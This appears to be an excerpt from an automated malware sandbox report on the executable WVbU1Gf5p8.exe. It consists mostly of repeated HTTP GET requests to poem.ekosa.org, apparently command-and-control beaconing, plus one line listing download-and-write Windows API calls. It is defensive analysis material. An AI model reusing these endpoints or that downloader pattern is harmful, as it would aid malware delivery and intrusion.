Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_01231780 GetTempPathA,GetTempFileNameA,DeleteFileA,DeleteFileA,DeleteUrlCacheEntry,URLDownloadToFileA,CreateFileA,GetFileSize,CloseHandle,DeleteFileA,LocalAlloc,ReadFile,LocalFree,CloseHandle,DeleteFileA,CloseHandle,DeleteFileA,LocalFree,CreateFileA,LocalFree,WriteFile,LocalFree,CloseHandle,DeleteFileA,CloseHandle,

0_2_01231780

Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
